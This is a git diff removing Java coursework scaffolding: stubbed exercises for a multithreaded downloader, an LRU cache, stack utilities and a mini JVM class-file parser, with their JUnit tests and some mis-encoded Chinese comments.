-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group24/Homework/3-ThirdWeek/download/FileDownloaderTest.java b/group24/Homework/3-ThirdWeek/download/FileDownloaderTest.java
deleted file mode 100644
index 4ff7f46ae0..0000000000
--- a/group24/Homework/3-ThirdWeek/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/test.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group24/Homework/3-ThirdWeek/download/api/Connection.java b/group24/Homework/3-ThirdWeek/download/api/Connection.java
deleted file mode 100644
index 0957eaf7f4..0000000000
--- a/group24/Homework/3-ThirdWeek/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group24/Homework/3-ThirdWeek/download/api/ConnectionException.java b/group24/Homework/3-ThirdWeek/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group24/Homework/3-ThirdWeek/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group24/Homework/3-ThirdWeek/download/api/ConnectionManager.java b/group24/Homework/3-ThirdWeek/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group24/Homework/3-ThirdWeek/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group24/Homework/3-ThirdWeek/download/api/DownloadListener.java b/group24/Homework/3-ThirdWeek/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group24/Homework/3-ThirdWeek/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group24/Homework/3-ThirdWeek/download/impl/ConnectionImpl.java b/group24/Homework/3-ThirdWeek/download/impl/ConnectionImpl.java
deleted file mode 100644
index 36a9d2ce15..0000000000
--- a/group24/Homework/3-ThirdWeek/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		return null;
-	}
-
-	@Override
-	public int getContentLength() {
-		
-		return 0;
-	}
-
-	@Override
-	public void close() {
-		
-		
-	}
-
-}
diff --git a/group24/Homework/3-ThirdWeek/download/impl/ConnectionManagerImpl.java b/group24/Homework/3-ThirdWeek/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 172371dd55..0000000000
--- a/group24/Homework/3-ThirdWeek/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.download.impl;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		
-		return null;
-	}
-
-}
diff --git a/group24/Homework/4-FourWeek/LRUPageFrame.java b/group24/Homework/4-FourWeek/LRUPageFrame.java
deleted file mode 100644
index 994a241a3d..0000000000
--- a/group24/Homework/4-FourWeek/LRUPageFrame.java
+++ /dev/null
@@ -1,57 +0,0 @@
-package com.coding.basic.linklist;
-
-
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	
-	private int currentSize;
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		this.currentSize = 0;
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		
-		
-	}
-	
-	
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	
-
-}
diff --git a/group24/Homework/4-FourWeek/LRUPageFrameTest.java b/group24/Homework/4-FourWeek/LRUPageFrameTest.java
deleted file mode 100644
index 7fd72fc2b4..0000000000
--- a/group24/Homework/4-FourWeek/LRUPageFrameTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coding.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-		frame.access(5);
-		Assert.assertEquals("5,4,0", frame.toString());
-		
-	}
-
-}
diff --git a/group24/Homework/4-FourWeek/jvm/loader/ClassFileLoader .java b/group24/Homework/4-FourWeek/jvm/loader/ClassFileLoader .java
deleted file mode 100644
index 55b4b70974..0000000000
--- a/group24/Homework/4-FourWeek/jvm/loader/ClassFileLoader .java	
+++ /dev/null
@@ -1,25 +0,0 @@
-public class ClassFileLoader {
-
-	private List<String> clzPaths = new ArrayList<String>();
-	
-	public byte[] readBinaryCode(String className)  {
-		
-		return null;	
-	}
-	
-	
-	public void addClassPath(String path) {
-		
-	}
-	
-	
-	
-	public String getClassPath(){
-		
-	}
-
-	
-
-	
-
-}
\ No newline at end of file
diff --git a/group24/Homework/4-FourWeek/jvm/test/ClassFileloaderTest.java b/group24/Homework/4-FourWeek/jvm/test/ClassFileloaderTest.java
deleted file mode 100644
index 77f1b93eb8..0000000000
--- a/group24/Homework/4-FourWeek/jvm/test/ClassFileloaderTest.java
+++ /dev/null
@@ -1,92 +0,0 @@
-package com.coderising.jvm.test;
-
-import org.junit.After;
-import  org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.jvm.loader.ClassFileLoader;
-
-
-
-
-
-public class ClassFileloaderTest {
-
-	
-	static String path1 = "C:\\workspace\\min-jvm\\bin";
-	static String path2 = "C:\temp";
-	
-	
-	
-	@Before
-	public void setUp() throws Exception {		 
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-	
-	@Test
-	public void testClassPath(){		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		loader.addClassPath(path2);
-		
-		String clzPath = loader.getClassPath();
-		
-		Assert.assertEquals(path1+";"+path2,clzPath);
-		
-	}
-	
-	@Test
-	public void testClassFileLength() {		
-		
-		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		
-		byte[] byteCodes = loader.readBinaryCode(className);
-		int i=byteCodes.length;
-		// ע�⣺����ֽ������ܺ����JVM�汾�й�ϵ�� ����Կ�������õ��ൽ���ж��
-		Assert.assertEquals(2048, byteCodes.length);
-		
-	}
-	
-	
-    @Test	
-	public void testMagicNumber(){
-    	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path1);
-		String className = "com.coderising.jvm.test.EmployeeV1";
-		byte[] byteCodes = loader.readBinaryCode(className);
-		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
-		
-		
-		String acctualValue = this.byteToHexString(codes);
-		
-		Assert.assertEquals("cafebabe", acctualValue);
-	}
-    
-    
-    
-    
-    
-    
-	private String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-
-}
\ No newline at end of file
diff --git a/group24/Homework/4-FourWeek/jvm/test/EmployeeV1.java b/group24/Homework/4-FourWeek/jvm/test/EmployeeV1.java
deleted file mode 100644
index e69de29bb2..0000000000
diff --git a/group24/Homework/5-FifthWeek/README.txt b/group24/Homework/5-FifthWeek/README.txt
deleted file mode 100644
index 8af35e8a67..0000000000
--- a/group24/Homework/5-FifthWeek/README.txt
+++ /dev/null
@@ -1,3 +0,0 @@
-1. ��Ҫʵ�ֵ�����ClassFileParser.java, ByteCodeIterator.java, 
-	ʵ�ֺ���Ҫͨ�����ԣ�ClassFileloaderTest.java
-2. ���ݽṹ�� ʵ��StackUtil
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/StackUtil.java b/group24/Homework/5-FifthWeek/StackUtil.java
deleted file mode 100644
index b0ec38161d..0000000000
--- a/group24/Homework/5-FifthWeek/StackUtil.java
+++ /dev/null
@@ -1,48 +0,0 @@
-package com.coding.basic.stack;
-import java.util.Stack;
-public class StackUtil {
-	
-	
-	
-	/**
-	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 */
-	public static void reverse(Stack<Integer> s) {
-		
-		
-		
-	}
-	
-	/**
-	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * 
-	 * @param o
-	 */
-	public static void remove(Stack s,Object o) {
-		
-	}
-
-	/**
-	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
-	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
-	 * @param len
-	 * @return
-	 */
-	public static Object[] getTop(Stack s,int len) {
-		return null;
-	}
-	/**
-	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
-	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
-	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
-	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
-	 * @param s
-	 * @return
-	 */
-	public static boolean isValidPairs(String s){
-		return false;
-	}
-	
-	
-}
diff --git a/group24/Homework/5-FifthWeek/StackUtilTest.java b/group24/Homework/5-FifthWeek/StackUtilTest.java
deleted file mode 100644
index 76f2cb7668..0000000000
--- a/group24/Homework/5-FifthWeek/StackUtilTest.java
+++ /dev/null
@@ -1,65 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.Stack;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-public class StackUtilTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	
-	@Test
-	public void testReverse() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		Assert.assertEquals("[1, 2, 3, 4, 5]", s.toString());
-		StackUtil.reverse(s);
-		Assert.assertEquals("[5, 4, 3, 2, 1]", s.toString());
-	}
-	
-	@Test
-	public void testRemove() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		StackUtil.remove(s, 2);
-		Assert.assertEquals("[1, 3]", s.toString());
-	}
-
-	@Test
-	public void testGetTop() {
-		Stack<Integer> s = new Stack();
-		s.push(1);
-		s.push(2);
-		s.push(3);
-		s.push(4);
-		s.push(5);
-		{
-			Object[] values = StackUtil.getTop(s, 3);
-			Assert.assertEquals(5, values[0]);
-			Assert.assertEquals(4, values[1]);
-			Assert.assertEquals(3, values[2]);
-		}
-	}
-
-	@Test
-	public void testIsValidPairs() {
-		Assert.assertTrue(StackUtil.isValidPairs("([e{d}f])"));
-		Assert.assertFalse(StackUtil.isValidPairs("([b{x]y})"));
-	}
-
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/clz/AccessFlag.java b/group24/Homework/5-FifthWeek/jvm/clz/AccessFlag.java
deleted file mode 100644
index 2d93c5cebf..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,23 +0,0 @@
-public class AccessFlag {
-	private int flagValue;
-
-	public AccessFlag(int value) {
-		this.flagValue = value;
-	}
-
-	public int getFlagValue() {
-		return flagValue;
-	}
-
-	public void setFlagValue(int flag) {
-		this.flagValue = flag;
-	}
-	
-	public boolean isPublicClass(){
-		return (this.flagValue & 0x0001) != 0;
-	}
-	public boolean isFinalClass(){
-		return (this.flagValue & 0x0010) != 0;
-	}
-	
-}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java b/group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java
deleted file mode 100644
index 0406ec7b46..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/clz/ClassFile .java	
+++ /dev/null
@@ -1,58 +0,0 @@
-public class ClassFile {
-	
-	private int minorVersion;
-	private int majorVersion;
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-	public ConstantPool getConstantPool() {		
-		return pool;
-	}
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-		
-	}
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;		
-	}
-	
-
-	public void print(){
-		if(this.accessFlag.isPublicClass()){
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:"+ getClassName());
-		System.out.println("Super Class Name:"+ getSuperClassName());
-	}
-	
-	private String getClassName(){
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-	private String getSuperClassName(){
-		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java b/group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java
deleted file mode 100644
index f1505a5050..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,17 +0,0 @@
-public class ClassIndex {
-	private int thisClassIndex;
-	private int superClassIndex;
-	
-	public int getThisClassIndex() {
-		return thisClassIndex;
-	}
-	public void setThisClassIndex(int thisClassIndex) {
-		this.thisClassIndex = thisClassIndex;
-	}
-	public int getSuperClassIndex() {
-		return superClassIndex;
-	}
-	public void setSuperClassIndex(int superClassIndex) {
-		this.superClassIndex = superClassIndex;
-	}
-}
\ No newline at end of file
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java
deleted file mode 100644
index c8e65ff493..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/ClassInfo.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class ClassInfo extends ConstantInfo {
-	private int type = ConstantInfo.CLASS_INFO;
-	private int utf8Index ;
-	public ClassInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getUtf8Index() {
-		return utf8Index;
-	}
-	public void setUtf8Index(int utf8Index) {
-		this.utf8Index = utf8Index;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public String getClassName() {		
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
-		return utf8Info.getValue();		
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitClassInfo(this);		
-	}
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java
deleted file mode 100644
index 88353df2d3..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/ConstantInfo.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coderising.jvm.constant;
-
-public abstract class ConstantInfo {
-	public static final int UTF8_INFO = 1;
-	public static final int FLOAT_INFO = 4;
-	public static final int CLASS_INFO = 7;
-	public static final int STRING_INFO = 8;
-	public static final int FIELD_INFO = 9;
-	public static final int METHOD_INFO = 10;
-	public static final int NAME_AND_TYPE_INFO = 12;
-	protected ConstantPool constantPool;
-	
-	public ConstantInfo(){
-		
-	}
-	
-	public ConstantInfo(ConstantPool pool) {
-		this.constantPool = pool;
-	}
-	public abstract int getType();
-	
-	public ConstantPool getConstantPool() {
-		return constantPool;
-	}
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantPool.getConstantInfo(index);
-	}
-	
-	public abstract void accept(Visitor visitor);
-	
-	public static interface Visitor{
-		public void visitClassInfo(ClassInfo info);
-		public void visitFieldRef(FieldRefInfo info);
-		public void visitMethodRef(MethodRefInfo info);
-		public void visitNameAndType(NameAndTypeInfo info);
-		public void visitString(StringInfo info);
-		public void visistUTF8(UTF8Info info);
-		
-	}
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java b/group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java
deleted file mode 100644
index 7130eb3a9f..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/ConstantPool.java
+++ /dev/null
@@ -1,31 +0,0 @@
-package com.coderising.jvm.constant;
-
-import java.util.ArrayList;
-import java.util.List;
-
-public class ConstantPool {
-	
-	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
-	
-	
-	public ConstantPool(){
-		
-	}
-	public void addConstantInfo(ConstantInfo info){
-		
-		this.constantInfos.add(info);
-		
-	}
-	
-	public ConstantInfo getConstantInfo(int index){
-		return this.constantInfos.get(index);
-	}
-	public String getUTF8String(int index){
-		return ((UTF8Info)this.constantInfos.get(index)).getValue();
-	}
-	public int getSize() {		
-		return this.constantInfos.size() -1;
-	}
-	
-	
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java
deleted file mode 100644
index 7ae71396ef..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/FieldRefInfo.java
+++ /dev/null
@@ -1,58 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class FieldRefInfo extends ConstantInfo{
-	private int type = ConstantInfo.FIELD_INFO;
-	private int classInfoIndex;
-	private int nameAndTypeIndex;
-	
-	public FieldRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-		
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		
-		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
-	}
-	
-	public String getClassName(){
-		
-		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
-		
-		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
-		
-		return utf8Info.getValue();
-		
-	}
-	
-	public String getFieldName(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();		
-	}
-	
-	public String getFieldType(){
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();	
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitFieldRef(this);		
-	}
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java
deleted file mode 100644
index 036e6d9055..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/MethodRefInfo.java
+++ /dev/null
@@ -1,60 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class MethodRefInfo extends ConstantInfo {
-	
-	private int type = ConstantInfo.METHOD_INFO;
-	
-	private int classInfoIndex;	
-	private int nameAndTypeIndex;
-	
-	public MethodRefInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getClassInfoIndex() {
-		return classInfoIndex;
-	}
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-	
-	public String toString(){
-	
-		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
-	}
-	public String getClassName(){
-		ConstantPool pool = this.getConstantPool();		
-		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
-		return clzInfo.getClassName();
-	}
-	
-	public String getMethodName(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getName();
-	}
-	
-	public String getParamAndReturnType(){
-		ConstantPool pool = this.getConstantPool();
-		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
-		return typeInfo.getTypeInfo();
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitMethodRef(this);		
-	}
-	
-	
-	
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java
deleted file mode 100644
index 5cbbba6033..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/NameAndTypeInfo.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NameAndTypeInfo extends ConstantInfo{
-	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
-	
-	private int index1;
-	private int index2;
-	
-	public NameAndTypeInfo(ConstantPool pool) {
-		super(pool);
-	}
-	
-	public int getIndex1() {
-		return index1;
-	}
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-	public int getIndex2() {
-		return index2;
-	}
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-	public int getType() {
-		return type;
-	}
-	
-	
-	public String getName(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
-	}
-	
-	public String getTypeInfo(){
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
-		return utf8Info2.getValue();
-	}
-	
-	public String toString(){
-		return "(" + getName() + "," + getTypeInfo()+")";
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitNameAndType(this);
-		
-	}
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java
deleted file mode 100644
index 41e0fd7e7a..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/NullConstantInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class NullConstantInfo extends ConstantInfo {
-
-	public NullConstantInfo(){
-		
-	}
-	@Override
-	public int getType() {		
-		return -1;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-				
-	}
-	
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java b/group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java
deleted file mode 100644
index 6bfcb47273..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/StringInfo.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class StringInfo extends ConstantInfo{
-	private int type = ConstantInfo.STRING_INFO;
-	private int index;
-	public StringInfo(ConstantPool pool) {
-		super(pool);
-	}
-
-	public int getType() {
-		return type;
-	}
-	
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-
-	
-	public String toString(){
-		return this.getConstantPool().getUTF8String(index);
-	}
-
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visitString(this);
-		
-	}
-	
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java b/group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java
deleted file mode 100644
index 7db88a939e..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/constant/UTF8Info.java
+++ /dev/null
@@ -1,37 +0,0 @@
-package com.coderising.jvm.constant;
-
-public class UTF8Info extends ConstantInfo{
-	private int type = ConstantInfo.UTF8_INFO;
-	private int length ;
-	private String value;
-	public UTF8Info(ConstantPool pool) {
-		super(pool);
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getType() {
-		return type;
-	}
-	@Override
-	public String toString() {
-		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
-	}
-	public String getValue() {
-		return value;
-	}
-	public void setValue(String value) {
-		this.value = value;
-	}
-	@Override
-	public void accept(Visitor visitor) {
-		visitor.visistUTF8(this);
-		
-	}
-	
-	
-
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java b/group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java
deleted file mode 100644
index b3a25fa8c8..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/loader/ByteCodeIterator.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.util.Arrays;
-
-import com.coderising.jvm.util.Util;
-
-public  class ByteCodeIterator {
-	private byte[] codes;
-    private int pos;
-
-    public ByteCodeIterator(byte[] codes){
-        this.codes = codes;
-    }
-
-
-	
-
-}
diff --git a/group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java b/group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java
deleted file mode 100644
index 3b8ddb6a17..0000000000
--- a/group24/Homework/5-FifthWeek/jvm/loader/ClassFileLoader.java
+++ /dev/null
@@ -1,62 +0,0 @@
-package com.coderising.jvm.loader;
-
-import java.io.BufferedInputStream;
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.util.ArrayList;
